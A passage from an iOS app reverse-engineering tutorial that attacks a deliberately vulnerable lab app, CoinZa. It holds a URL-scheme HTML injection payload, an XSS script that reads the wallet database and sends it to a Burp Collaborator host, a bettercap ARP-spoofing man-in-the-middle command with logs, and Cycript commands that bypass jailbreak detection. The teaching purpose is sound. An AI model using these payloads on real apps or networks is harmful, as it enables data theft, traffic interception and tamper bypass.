- `SQLCIPHER_KEY`: A hard-coded secret key in the application's [info.plist](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html) file, this is the secret key used for the application's [SQLCipher](https://www.zetetic.net/sqlcipher/) to encrypt its database contents.
|
||||
- **The problem:** Even though the developers were thinking about protecting their users' generated content by encrypting the database, they did so by hard-coding a secret key that **all** installations of their app would use. This is a little bit harder to exploit but if an attacker is able to, for example, get a hold of users' _not encrypted_ iTunes backups, they will be able to decrypt the databases because **all** databases are using the same secret key.
|
||||
- **Recommended fix:** Generate a secret key per installation and store it in the [iOS keychain](https://developer.apple.com/documentation/security/keychain_services), this way attackers would have to compromise the devices of every victim and that's a considerable harder attack.
|
||||
|
||||
- `NSAllowsArbitraryLoads`: Disables [App Transport Security](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW33) (aka ATS), allowing week TLS configurations.
|
||||
- **The problem:** Apple introduced ATS to protect users from week and vulnerable TLS configurations, disabling this feature means that this application puts the security and privacy of the end user at risk.
|
||||
- **Recommended fix:** Remove this key from the `Info.plist` and work with the backend engineers to update the servers' TLS configuration.
|
||||
|
||||
- `CFBundleURLTypes`: Having custom `Scheme URLs` is not an issue, but it means this app can be launched by other applications using the `coinza://` scheme URL and it probably takes some parameters with it. Just take a note about this feature, it will be helpful on the next module's exercises.
|
||||
|
||||
- `AFNetworking 2.5.1`: This version of the popular framework `AFNetworking` had a serious vulnerability that allowed attackers to perform [Man-in-the-Middle](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) (aka MitM) attacks on any application using any version <= 2.5.1 of this framework that was _not_ using SSL pinning.
|
||||
- **The problem:** Even though 3rd party frameworks help developers by saving time and resources, because they don't need to build that functionality themselves, they can introduce vulnerabilities and the developer has to wait until a patch is made available. In this case the authors of the frameworks acted quickly and released a patched version (though it was not a [complete fix](https://github.com/AFNetworking/AFNetworking/blob/2.5.2/AFNetworking/AFSecurityPolicy.m#L257-L265)) but all the applications had to be updated and re-submitted to the App Store and then users had to update their apps on their devices. This process takes a lot of time from patch to updating the end user. Every time you are about to add a 3rd party framework, think about this and consider if the framework is _really_ needed. Even if you don't introduce a vulnerability yourself, the moment you include a 3rd party framework on your application it becomes your responsibility.
|
||||
- **Recommended fix:** The fix is relatively simple, just update the framework. But the real recommendation is to use the minimum amount of 3rd party frameworks on your applications. I try to use the built-in frameworks that Apple provides before exploring a 3rd party option.
|
||||
|
||||
[^1] Since I **love** pizza, most of the things I do involve pizza. Hence the Pizza-based cryptocurrency `CoinZa`.
|
||||
467
Module-4/README.md
Normal file
467
Module-4/README.md
Normal file
@@ -0,0 +1,467 @@
|
||||
### Module 4 - Dynamic Analysis and Hacking
|
||||
As you could see in the previous module, I personally _love_ to perform static analyses on iOS applications. But most of the security researchers and hackers prefer the dynamic analyses of systems. This is where you get to write code for exploits, run the applications and verify if they are vulnerable. This is a very interactive step and instead of seating down and reading assembly code or reading `.json`/`.plist` files, you get to inject code into the running application or send data to it and analyze how it parses and reacts to it.
|
||||
|
||||
One of the biggest differences between performing a dynamic analysis on an Android application vs an iOS application is the fact that in 99.9% of the time, on iOS, you need a physical device. This is because **all** the applications that you download from the App Store are compiled for an `ARM` architecture and the iOS simulators use your computer chip, meaning they have an `x86` or `x86_64` architecture.
|
||||
|
||||
The second obstacle you'll face is that, although it's not necessary, you probably will need that physical device to be jailbroken. This is because, as you learned in [Module 2](../Module-2/README.md), **all** applications downloaded from the App Store are encrypted. Meaning, if you are not able to get a _decrypted_ version of the application you want to analyze, you'll need to decrypt it yourself.
|
||||
|
||||
_Note: For the exercises in this module you need a device, but it doesn't need to be jailbroken for all the exercises because you'll be using the same [`CoinZa.ipa`](https://github.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/tree/master/Files) application which is already decrypted. You'll only need a jailbroken device for the Cycript and Frida exercises._
|
||||
|
||||
The exercises in this module are going to be different from the previous module. I'm going to present you a list of vulnerabilities, explaining you _what_ the vulnerability is and _how_ to exploit it, then you can test it on your own device.
|
||||
|
||||
#### Installing `CoinZa` on your device
|
||||
To do the exercises in this module you'll need to first install the `CoinZa` application on your device. Luckily is super simple.
|
||||
- If you haven't already, sign up for an `Apple Developer Account` [here](https://developer.apple.com/) (click on the `Account` tab), it's free.
|
||||
- Connect your device to your computer.
|
||||
- Open `Cydia Impactor` and drag-n-drop the `CoinZa.ipa`. **Important** it has to be the original `.ipa` you downloaded [here](https://github.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/tree/master/Files) and not the binary you extracted.
|
||||
- Enter your developer username and password and wait for `Impactor` to load install the application on your device.
|
||||
- Troubleshooting:
|
||||
- If `Impactor` says your password is incorrect (_and you're 100% sure it's not_) or something about an "app-specific password". It probably means you need to generate an app-specific password, here's a [tutorial on how to do it](https://www.imore.com/how-generate-app-specific-passwords-iphone-ipad-mac).
|
||||
- If `Impactor` shows an error about a certificate request already in place:
|
||||
- On the top menu select `Xcode`.
|
||||
- Select `Revoke Certificates`.
|
||||
- **SUPER IMPORTANT:** This is probably not a new developer account, what this action will do is revoke the signing certificates for that account.
|
||||
- If after `Impactor` is done installing the application, you tap on its icon and iOS says something about the application not being _trusted_:
|
||||
- Open the `Settings` app.
|
||||
- Select `General`.
|
||||
- Scroll down and select `Profiles & Device Management`.
|
||||
- In the `Developer App` section, select your developer account.
|
||||
- Tap `Trust` and confirm.
|
||||
|
||||
##### URL Scheme injection
|
||||
As you discovered in the static analysis step, the `CoinZa` application uses custom `Scheme URLs` and if you use what you learned in [Module 3](../Module-3/README.md) and open the application binary in `Hopper` (or `Ghidra`), search for the `AppDelegate` class, select the `application:openURL:options:` method and open it in the `pseudo-code` mode you can find:
|
||||
```c
|
||||
r2 = @"news";
|
||||
if (objc_msgSend(r19, @selector(containsString:)) != 0x0) {
|
||||
r2 = @"news";
|
||||
r20 = [[r19 stringByReplacingOccurrencesOfString:@"news/" withString:@""] retain];
|
||||
r23 = [[NSBundle mainBundle] retain];
|
||||
r22 = [[UIStoryboard storyboardWithName:@"Main" bundle:r23] retain];
|
||||
r0 = [r22 instantiateViewControllerWithIdentifier:@"WebViewController"];
|
||||
r23 = r0;
|
||||
r0 = [r0 configureWithHTMLString:r20];
|
||||
r24 = [[UINavigationController alloc] initWithRootViewController:r23];
|
||||
r0 = [r21 window];
|
||||
r25 = [[r0 rootViewController] retain];
|
||||
r0 = [r25 topViewController];
|
||||
r0 = objc_msgSend(r0, @selector(presentViewController:animated:completion:));
|
||||
}
|
||||
```
|
||||
- I cleaned up the code by removing some instructions. Most of the code is self-explanatory but if you're new to iOS and/or Objc, you might not know what a `UIStoryboard` or a `UINavigationController` are. That's okay, you can just read the documentation. But to save you time, I'll explain what's going on in this code snippet:
|
||||
- I didn't copy it here, but the register 19 (`r19`) is the URL passed as part of the `URL Type`. Basically a string looking like this `coinza://<something>`.
|
||||
- First there's a check if `r19` contains the string `"news"`.
|
||||
- If it doesn't, it just bypasses all this code.
|
||||
- If it does, it removes all the occurrences of the string `"news/"` from `r19` and assigns the result to `r20`.
|
||||
- Then it creates an instance of a view controller called `WebViewController`. Presumably, based on its name, it's a view controller that loads a WebView.
|
||||
- Then it calls a method named `configureWithHTMLString:`. We can assume this method is expecting a string that contains HTML code. The important thing to realize is that the HTML this class is expecting comes from `r20`, which we saw is the result of removing the string `"news/"` from the **original** passed in URL. This URL is controlled by the attacker!
|
||||
- Then performs a bunch of not so important instructions.
|
||||
- And finally it calls a method named `presentViewController:animated:completion:` which presents the `WebViewController`.
|
||||
- **How:** Testing this vulnerability is very simple. With the `CoinZa` application installed on your device:
|
||||
- Open `Mobile Safari` and paste this string: `<html><body><script>document.location = 'https://google.com';</script></body></html>`.
|
||||
- You'll have to encode the URL first, the encoded version will look like this: `coinza://news/%3Chtml%3E%3Cbody%3E%3Cscript%3Edocument.location%20%3D%20%27https%3A%2F%2Fgoogle.com%27%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E`
|
||||
- After pasting **the encoded** string in `Mobile Safari`, press `Go`.
|
||||
- Confirm that you want to open the `CoinZa` application.
|
||||
- That's it! The `CoinZa` application will be launched and it will present a WebView screen called `"News"` and it will be redirected to the `google.com` website.
|
||||
- **The problem:** The application is trusting **any** string after the `coinza://` and displaying it directly in a WebView. This is very similar to a web vulnerability called [Open Redirect](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.md) that allows attackers to redirect a user from a legitimate website to a malicious one. This vulnerability can be used to perform phishing attacks.
|
||||
|
||||

|
||||
|
||||
##### Extracting files using Javascript (XSS)
|
||||
After identifying that the application takes arbitrary `HTML` code and displays it on a WebView, you can start testing what access does this WebView give you to its internal files. All iOS applications by default have [these directories](https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html) for storing data:
|
||||
- `Documents`: This directory is used to store user generated data. This is data the application cannot replicate on its own. For example pictures taken by the user, or a database containing the messages a user sends and receives. This directory is backed up in iCloud or iTunes when a device backup is created.
|
||||
- `Library`: This directory is used to store data that is not generated by the user but is not generated solely by the application. For example application logs, analytics logs are commonly stored here. iOS also creates 2 subdirectories called `Application Support` and `Caches`. With the exception of the `Caches` directory, all the subdirectories and files in this directory are backed up in iCloud or iTunes when a device backup is created.
|
||||
- `tmp`: As the name suggests, this directory is used to store temporary data. The application should not rely on data stored here. This directory is not backed up at all when a device backup is created.
|
||||
- Based on this information you can see that the perfect place to store a database containing the user data is in `Documents`. In the static analysis mode you discovered a _secret_ key called `SQLCIPHER_KEY`, this gave you a hint that the application is probably using the [SQLCipher](https://www.zetetic.net/sqlcipher/) library thus a local database _could_ exist. To be absolutely sure this is the case open the application binary in `Hopper` (or `Ghidra`), search for `Utils`, select the `initDatabase` method and open it in the `pseudo-code` mode you can find:
|
||||
```c
|
||||
+(void)initDatabase {
|
||||
r0 = [NSBundle mainBundle];
|
||||
r19 = [[r0 objectForInfoDictionaryKey:@"SQLCIPHER_KEY"] retain];
|
||||
r0 = NSSearchPathForDirectoriesInDomains(0x9, 0x1, 0x1);
|
||||
r0 = [r0 objectAtIndex:0x0];
|
||||
r22 = [[r0 stringByAppendingPathComponent:@"sqlcipher.db"] retain];
|
||||
r20 = r0;
|
||||
objc_msgSend(r0, @selector(UTF8String));
|
||||
if (sub_10004af04() == 0x0) {
|
||||
r21 = @selector(UTF8String);
|
||||
r0 = objc_msgSend(r0, r21);
|
||||
sub_10003804c(var_38, r0, strlen(r0));
|
||||
objc_retainAutorelease(@"CREATE TABLE IF NOT EXISTS Wallets (publicKey CHAR(100) NOT NULL,privateKey CHAR(100) NOT NULL,username CHAR(100) NOT NULL,balance REAL NOT NULL,PRIMARY KEY (publicKey) );");
|
||||
sub_10003ad1c(var_38, objc_msgSend(@"CREATE TABLE IF NOT EXISTS Wallets (publicKey CHAR(100) NOT NULL,privateKey CHAR(100) NOT NULL,username CHAR(100) NOT NULL,balance REAL NOT NULL,PRIMARY KEY (publicKey) );", r21), 0x0, 0x0, 0x0);
|
||||
sub_100049604();
|
||||
}
|
||||
}
|
||||
```
|
||||
- Again, I've cleaned up the code by removing some instructions. But let me explain what's going on here:
|
||||
- The first thing the method is doing is getting the _secret_ key you found in the `Info.plist` earlier. As you can read in the [documentation](https://developer.apple.com/documentation/foundation/nsbundle/1408696-objectforinfodictionarykey) the `objectForInfoDictionaryKey:` method returns a value in the application's `Info.plist` determined by the key passed in as the first parameter, which in this case is `@"SQLCIPHER_KEY"`.
|
||||
- Then, as you can read in the [documentation](https://developer.apple.com/documentation/foundation/1414224-nssearchpathfordirectoriesindoma?language=objc), the method `NSSearchPathForDirectoriesInDomains` will return a list of path strings for the specified directories. The directory is determined by the first parameter, in this case it's an integer enumerated type (or enum) with a value of Hex `0x9` (which is `9` in decimal). If you [search the documentation](https://developer.apple.com/documentation/foundation/filemanager/searchpathdirectory/documentdirectory) it says that's the `NSDocumentDirectory` enum.
|
||||
- Then the code appends the path component `@"sqlcipher.db"` to the end of the documents path, via the `stringByAppendingPathComponent:` method. Ending up with something like `/<something>/Documents/sqlcipher.db`
|
||||
- Then if the return value of `sub_10004af04()` is zero or `nil`, it creates an SQL table called `Wallets` with 4 columns: `publicKey`, `privateKey`, `username` and `balance`.
|
||||
- You can now confirm, with high confidence, there's a database store in the `Documents` folder of the application.
|
||||
- Since you know the application is rendering `HTML` (and `Javascript`) from data you can control, you can try inserting `Javascript` code that will read a file from the `Documents` folder.
|
||||
- To save you time, I've written the following code:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
function loadFile() {
|
||||
var xmlhttp = new XMLHttpRequest();
|
||||
documentsPath = document.URL.split('/').slice(0, -1).join('/');
|
||||
filePath = documentsPath + '/' + 'sqlcipher.db';
|
||||
xmlhttp.onreadystatechange = function() {
|
||||
if (xmlhttp.readyState == 4) {
|
||||
if (xmlhttp.responseText.length > 0) {
|
||||
var xmlhttp2 = new XMLHttpRequest();
|
||||
xmlhttp2.open("POST","http://<some-id>.burpcollaborator.net",false);
|
||||
xmlhttp2.send(xmlhttp.responseText);
|
||||
}
|
||||
}
|
||||
};
|
||||
xmlhttp.onerror = function() {
|
||||
alert('Error! ' + filePath);
|
||||
}
|
||||
xmlhttp.open('GET', filePath, true);
|
||||
xmlhttp.send();
|
||||
}
|
||||
window.onload = loadFile;
|
||||
</script>
|
||||
<p>
|
||||
Hello World
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
- Let me explain what's going on:
|
||||
- I created a `Javascript` function called `loadFile`. This function creates an instance of `XMLHttpRequest`, which is used to retrieve data from a URL. It was originally created to avoid reloading entire webpages to show data to the user. But it works perfect for our purpose because at its most basic level, it just retrieves data from a URL.
|
||||
- The `document.URL.split('/').slice(0, -1).join('/')` is a chain of function calls that remove the last component of a website's URL, for example if the website URL is `https://example.com/index.html`, these operations would return `https://example.com`. I'm doing this to get the root of the directory where the currently rendered webpage is.
|
||||
- After getting the root directory I append the name of the database, which you previously found is `sqlcipher.db`.
|
||||
- Then I implement the `onreadystatechange` callback function and if the request's `readyState` is `4` (based on the [documentation](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/readyState) this means the `XMLHttpRequest` instance is done processing the data in the URL).
|
||||
- If the size of the `responseText` is grater than zero then send the data to a remote server. In this case you can use [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) or any server you control, like the [Mac built-in server](https://discussions.apple.com/docs/DOC-3083).
|
||||
- Then I handle errors.
|
||||
- And finally setup the `XMLHttpRequest` with the database URL and call the `send()` function to start the operation.
|
||||
- Similar to the the previous vulnerability to send this request you'll need to [URL-encode it](https://www.urlencoder.org/). Unlike the previous vulnerability, I don't provide the encoded version because this will be unique to your needs because of the remote server's URL.
|
||||
- Once you've setup your remote server and encoded the `HTML` and `Javascript` code you can again open `Mobile Safari` and past the payload. Remember to add the `coinza://news/` custom scheme URL to the begining of the encoded code.
|
||||
- **The problem:** This is the same problem as the previous example, but the vulnerability escalated to local file access. And to add to this problem, remember you found the hardcoded secret key for the `SQLCipher` database? in this case an attacker would be able to obtain the database and because every single install uses the same encryption key, they can decrypt the database and obtain all the information, which you already saw contains the `privateKey` of the user's wallets.
|
||||
|
||||

|
||||
|
||||
##### Man-in-the-Middle attack
|
||||
In one of the vulnerabilities I described in [Module 3](../Module-3/README.md) was in the `AFNetworking` framework. This vulnerability allowed attackers to provide applications with fake or invalid TLS/SSL certificates and the application would gladly accept them. This is referred to as a `Man-in-the-Middle` attack or MitM attack for short. Imagine you want to connect to my website [`https://ivrodriguez.com`](https://ivrodriguez.com), right now it would serve you with a [Let's Encrypt](https://letsencrypt.org/) TLS certificate. But if you are under a MitM attack, you'd receive a different certificate, for example from `Evil Corp Inc.`, claiming that it is the valid certificate for [`https://ivrodriguez.com`](https://ivrodriguez.com), hopefully your browser would reject that connection. But for iOS applications running the version `2.5.1` of `AFNetworking`, the connection would be accepted. _Note: If your device is jailbroken you won't be able to perform all the steps in this exercise because the application has a jailbreak detection. You can jump to the `Cycript` exercise if you want to learn how to disable the jailbreak detection and then come back to this exercise._
|
||||
- Open the application binary in `Hopper` (or `Ghidra`), search for the `Utils` class, select the `downloadWhitePaper:` method and you'll find:
|
||||
```c
|
||||
+(void)downloadWhitePaper:(void )arg2 {
|
||||
r20 = [[AFURLSessionManager alloc] initWithSessionConfiguration:[[NSURLSessionConfiguration defaultSessionConfiguration] retain]];
|
||||
r0 = NSSearchPathForDirectoriesInDomains(0x9, 0x1, 0x1);
|
||||
r22 = [[r0 firstObject] retain];
|
||||
r25 = [[self whitepaperName] retain];
|
||||
r23 = [[r22 stringByAppendingPathComponent:r25] retain];
|
||||
r26 = [[NSURL fileURLWithPath:r23] retain];
|
||||
[self removeFileIfExistsAtPath:r26];
|
||||
r25 = [[NSURLRequest requestWithURL:[[NSURL URLWithString:@"https://raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html"] retain]] retain];
|
||||
r0 = [r20 downloadTaskWithRequest:r25 progress:0x0 destination:&var_78 completionHandler:&var_A0];
|
||||
r0 = [r0 retain];
|
||||
objc_msgSend(r0, @selector(resume));
|
||||
}
|
||||
```
|
||||
- As you can see this method is using the `AFURLSessionManager` to download a file from a remote URL.
|
||||
- If you open the application binary in `Hopper` (or `Ghidra`), search for the `InitialViewController` class, select the `viewDidLoad` method and you'll find that this method is called there:
|
||||
```c
|
||||
-(void)viewDidLoad {
|
||||
[[&var_30 super] viewDidLoad];
|
||||
[r19 setTitle:@"CoinZa"];
|
||||
if (objc_msgSend(@class(Utils), @selector(isJailbroken)) != 0x0) {
|
||||
//spoiler alert for Jailbroken devices ;)
|
||||
} else {
|
||||
:
|
||||
:
|
||||
objc_msgSend(@class(Utils), @selector(downloadWhitePaper:));
|
||||
}
|
||||
}
|
||||
```
|
||||
- This means that every time the `InitialViewController`'s view is loaded, the application will download the `coinza.html` file. This gives an attacker a window to remotely attack a user, because they can perform a MitM attack and return a malicious version of the `coinza.html` file.
|
||||
- Using `bettercap` you'll be able to target a remote user's device and serve fake TLS certificates and sniff their HTTP _and_ HTTPS traffic.
|
||||
- Open the `Settings` application, navigate to `Wi-Fi`, tap on your WiFi's SSID and copy your device's IP.
|
||||
- On your computer, run `bettercap` and enter your root password:
|
||||
```bash
|
||||
sudo bettercap -eval "set arp.spoof.targets <Device-IP>; arp.spoof on; https.proxy on" --debug
|
||||
Password:
|
||||
```
|
||||
- You should see something like this:
|
||||
```bash
|
||||
[20:41:19] [mod.started] net.recon
|
||||
[20:41:19] [session.started] {session.started [some date]] PDT <nil>}
|
||||
[20:41:19] [mod.started] events.stream
|
||||
[20:41:19] [mod.started] net.recon
|
||||
[20:41:19] [sys.log] [dbg] arp.spoof addresses=[redacted] macs=[] whitelisted-addresses=[] whitelisted-macs=[]
|
||||
[20:41:19] [endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.).
|
||||
[20:41:19] [endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.).
|
||||
[20:41:19] [endpoint.new] endpoint [redacted] detected as [redacted] (Apple, Inc.).
|
||||
[20:41:19] [sys.log] [inf] arp.spoof enabling forwarding
|
||||
[20:41:19] [mod.started] arp.spoof
|
||||
[20:41:19] [sys.log] [inf] https.proxy loading proxy certification authority TLS key from /var/root/.bettercap-ca.key.pem
|
||||
[20:41:19] [sys.log] [inf] https.proxy loading proxy certification authority TLS certificate from /var/root/.bettercap-ca.cert.pem
|
||||
[20:41:19] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
|
||||
[20:41:19] [sys.log] [dbg] arp.spoof sending 60 bytes of ARP packet to [redacted].
|
||||
[20:41:19] [sys.log] [inf] http.proxy enabling forwarding.
|
||||
[20:41:19] [sys.log] [dbg] http.proxy applied redirection [en2] (TCP) :443 -> [redacted]:8083
|
||||
[20:41:19] [mod.started] https.proxy
|
||||
[20:41:19] [sys.log] [inf] https.proxy started on [redacted]:8083 (sslstrip disabled)
|
||||
[redacted] > [redacted] » [20:41:20] [sys.log] [dbg] arp.spoof sending 60 bytes of ARP packet to [redacted]:21.
|
||||
[redacted]/24 > [redacted] » [20:41:21] [sys.log] [dbg] arp.spoof sending 60 bytes of ARP packet to [redacted].
|
||||
```
|
||||
- Open the `CoinZa` application on your phone and you should see some logs like these:
|
||||
```bash
|
||||
[redacted]/24 > [redacted] » [20:41:24] [sys.log] [dbg] https.proxy proxying connection from [redacted] to raw.githubusercontent.com
|
||||
[redacted]/24 > [redacted] » [20:41:24] [sys.log] [inf] https.proxy creating spoofed certificate for raw.githubusercontent.com:443
|
||||
[redacted]/24 > [redacted] » [20:41:24] [sys.log] [dbg] Fetching TLS certificate from raw.githubusercontent.com:443 ...
|
||||
[redacted]/24 > [redacted] » [20:41:24] [sys.log] [dbg] https.proxy < GET raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html
|
||||
[redacted]/24 > [redacted] » [20:41:24] [sys.log] [dbg] https.proxy > GET raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html
|
||||
[redacted]/24 > [redacted] » [20:41:25] [sys.log] [dbg] arp.spoof sending 60 bytes of ARP packet to [redacted].
|
||||
```
|
||||
- You can verify that the application accepted the certificate provided by `bettercap` because if you tap on the `Read our whitepaper` button, the document shown there is the `coinza.html` file the application just downloaded. Since on line 7 of the `pseudo-code` you can see the `removeFileIfExistsAtPath:` method is called, it means that if an `HTML` file is shown it has to be a fresh download.
|
||||
- If you open any other application it will, hopefully, not be able to reach their server because `bettercap` is giving a _spoofed_ certificate for their domain. For example `Twitter` fails to load.
|
||||
- With this approach you can serve a malicious file to the `https://raw.githubusercontent.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/master/Files/coinza.html` request. This would be another way to achieve the same result as the previous hack where you injected `Javascript` code via custom scheme URLs, except this time you'd provide the code via this malicious file.
|
||||
- **The problem:** As you can see this is a very dangerous vulnerability that can be exploited remotely and the user wouldn't even notice the attack. In this case I showed the vulnerability by downloading a file, but in a real world scenario the requests would be bank accounts information, medical data, social media posts, etc. It's very important for developers to properly review 3rd party frameworks. Like I said before, the moment a developer includes a 3rd party framework in their application, it becomes their responsibility to maintain up-to-date and in this case the developer clearly failed to do so.
|
||||
|
||||
##### Bypassing jailbreak detection with Cycript
|
||||
Since you need a jailbroken device for this exercise, I'm assuming you've been using a jailbroken device so far. This means that you probably haven't been able to use all the features of the application because it has a `Jailbreak detection` feature that prevents you from using it. But in this exercise I'll show you how to bypass this detection. `Cycript` will help you manipulate iOS applications at runtime. It means that while the application is running you'll be able to modify its behavoiur. You need a jailbroken device for this exercise. _Note: Many people don't realize that it should actually be pronounced `ssss-crypt` as you can read [here](http://www.cycript.org/manual/) you can also hear [Jay Freeman](https://twitter.com/saurik) (aka Saurik), who is the `Cycript` author, pronouncing it in this [video](https://www.youtube.com/watch?v=5d1cK0nq4GY) from the 2013 360|iDev conference._
|
||||
|
||||
- Open the application binary in `Hopper` (or `Ghidra`), search for the `InitialViewController` class, select the `viewDidLoad` method and you'll find the jailbreak detection:
|
||||
```c
|
||||
if (objc_msgSend(@class(Utils), @selector(isJailbroken)) != 0x0) {
|
||||
[r19 setCollectionView:0x0];
|
||||
[[UIAlertController alertControllerWithTitle:@"CoinZa" message:@"Sorry not sorry." preferredStyle:0x1] retain];
|
||||
objc_msgSend(r19, @selector(presentViewController:animated:completion:));
|
||||
[r20 release];
|
||||
}
|
||||
```
|
||||
- As you can see the application is using the `isJailbroken` method from the `Utils` class to determine if the device is jailbroken. Many developers do this hoping that people won't be able to use their application on jailbroken devices, but as all client-side checks on iOS applications, with determination, time and good skills they all can be bypassed.
|
||||
|
||||
**If your device's iOS version < 11.0**
|
||||
- Run `iTunnel` to forward your SSH traffic via USB:
|
||||
```bash
|
||||
itnl --lport 2222 --iport 22
|
||||
```
|
||||
- SSH into your device:
|
||||
```bash
|
||||
ssh -p 2222 root@localhost
|
||||
```
|
||||
- Open the `CoinZa` application by tapping on its icon.
|
||||
- Inject `Cycript` into the running application:
|
||||
```bash
|
||||
cycript -p CoinZa
|
||||
```
|
||||
- If this fails, you can search for the application process id (`pid`):
|
||||
```bash
|
||||
ps aux | grep CoinZa
|
||||
```
|
||||
- Copy the `pid` and pass it to `Cycript`
|
||||
```bash
|
||||
cycript -p 1427
|
||||
```
|
||||
- You have now an interactive console that you can use to send commands to the `CoinZa` application.
|
||||
|
||||
**If your device's iOS version >= 11.0**
|
||||
- Run `iTunnel` to forward your SSH traffic via USB:
|
||||
```bash
|
||||
itnl --lport 2222 --iport 22
|
||||
```
|
||||
- SSH into your device:
|
||||
```bash
|
||||
ssh -p 2222 root@localhost
|
||||
```
|
||||
- Open the `CoinZa` application by tapping on its icon.
|
||||
- Use `bfinject` to inject `Cycript` into the running application:
|
||||
```bash
|
||||
cd /jb/bfinject
|
||||
bash bfinject -P CoinZa -L cycript
|
||||
```
|
||||
- On your device you should see a popup saying that `Cycript` was loaded and that it is now listening on port `1337` at the device's IP.
|
||||
- If this step fails, simply force close the application, relaunch it and run the command again.
|
||||
- On your computer you can now use `Cycript` to remotely connect to the application using the IP and port shown on the popup by `bfinject` on your device:
|
||||
```bash
|
||||
cycript -r <Device-IP>:1337
|
||||
```
|
||||
- You have now an interactive console that you can use to send commands to the `CoinZa` application.
|
||||
|
||||
**Any version of iOS**
|
||||
- Now that you have an interactive console via `Cycript` we can start by removing that annoying popup. First we are going to use the `choose` function to get all the instances of the `UIAlertController` class. The `choose` function reads the provided class signature and searches the memory for objects that have a similar signature and returns an array of all the objects it can find:
|
||||
```bash
|
||||
cy$ choose(UIAlertController)
|
||||
```
|
||||
- It should return something similar to `[#"<UIAlertController: 0x1727b200>"]`, it means that there's only one instance of `UIAlertController` in memory. This makes sense since that's literally all we see on screen at the moment.
|
||||
- You can access the instance by its index, as you would on a `Javascript` array, and assign it to a variable:
|
||||
```bash
|
||||
cy$ var alert = choose(UIAlertController)[0]
|
||||
```
|
||||
- Then dismiss the alert by calling the Objc method [`dismissViewControllerAnimated:completion:`](https://developer.apple.com/documentation/uikit/uiviewcontroller/1621505-dismissviewcontrolleranimated?language=objc) on the variable:
|
||||
```bash
|
||||
cy$ [alert dismissViewControllerAnimated:YES completion:nil]
|
||||
```
|
||||
- You should see the alert disappear from your device's screen! This is just a taste of the power of `Cycript`, you are literally modifying the behavoiur of the application.
|
||||
- But after this you still can't see anything. The problem is that like you saw from the `pseudo-code`, the view controller has the jailbreak detection in its `viewDidLoad` method. This means it's now too late to modify that behavoiur. But you can create a new `InitialViewController` instance and present it right?!
|
||||
- Before doing that though, you need to patch the `+[Utils isJailbroken]` method, otherwise this new instance will also display a popup. To do you need to override the method implementation:
|
||||
```bash
|
||||
cy$ Utils.constructor.prototype['isJailbroken'] = function() { return NO; }
|
||||
```
|
||||
- This is how you replace method implementations with `Cycript`. Since this is a [class method](https://developer.apple.com/library/archive/documentation/General/Conceptual/DevPedia-CocoaCore/ClassMethod.html) we use the `constructor` keyword, for instance methods just remove that keyword and use `ClassName.prototype['methodName']`
|
||||
- You can test the new returned value by calling the method:
|
||||
```bash
|
||||
cy$ [Utils isJailbroken]
|
||||
```
|
||||
- Now that you've modified the returned value of the `isJailbroken` method, you can create the new `InitialViewController` instance:
|
||||
```bash
|
||||
cy$ var storyBoard = [UIStoryboard storyboardWithName:@"Main" bundle:[NSBundle mainBundle]]
|
||||
cy$ var initVC = [storyBoard instantiateViewControllerWithIdentifier:@"InitialViewController"]
|
||||
cy$ navCon = [[UINavigationController alloc] initWithRootViewController:initVC]
|
||||
```
|
||||
- Don't worry if you are a bit confused with this code, it's just iOS _idiom_ for creating a view controller. _Note: If this is the case, I'd suggest taking a few courses on iOS development so that it would help your research._
|
||||
- Present it and you can finally start using the application:
|
||||
```bash
|
||||
cy$ var app = [UIApplication sharedApplication]
|
||||
cy$ var del = [app delegate]
|
||||
cy$ del.window.rootViewController = navCon
|
||||
```
|
||||
|
||||
##### Enabling 'ProVersion' features with Frida
|
||||
If you've played around with the `CoinZa` application, you've probably noticed that you can create `Wallets` and you can increase their balance by entering a fake credit card (_actually you don't even need the credit card information_).
|
||||
- This time I'll show you the assembly code because the `pseudo-code` is a bit hard to understand and it makes it kind of difficult to show you what the application is doing. Open the application binary in `Hopper` (or `Ghidra`), search for the `WalletDetailViewController` class, select the `didUpdateWalletBalance:` method and the `Control Flow Graph` (or `CFG Mode`) tab, this is the tab between `ASM Mode` and `Pseudo-cod Mode`. Then look at the left branch of the flow:
|
||||
```
|
||||
[1] adrp x8, #0x1001ad000
|
||||
[2] ldr d0, [x8, #0x2f0] ; double_value_1_2
|
||||
[3] fmul d8, d8, d0
|
||||
[4] ldr x0, [x8, #0x910] ; argument "instance" for method imp___stubs__objc_msgSend, objc_cls_ref_NSString,_OBJC_CLASS_$_NSString
|
||||
[5] adrp x8, #0x1001f0000
|
||||
[6] ldr x1, [x8, #0x500] ; argument "selector" for method imp___stubs__objc_msgSend, "stringWithFormat:",@selector(stringWithFormat:)
|
||||
[7] str d8, [sp, #0x60 + var_60]
|
||||
[8] adrp x2, #0x1001c5000 ; 0x1001c5f98@PAGE
|
||||
[9] add x2, x2, #0xf98 ; 0x1001c5f98@PAGEOFF, @"Since you are a pro user we added an extra 20%% and it's on us!\\nYour balance will actually increase by US$%f."
|
||||
[10] bl imp___stubs__objc_msgSend ; objc_msgSend
|
||||
[11] mov x29, x29
|
||||
```
|
||||
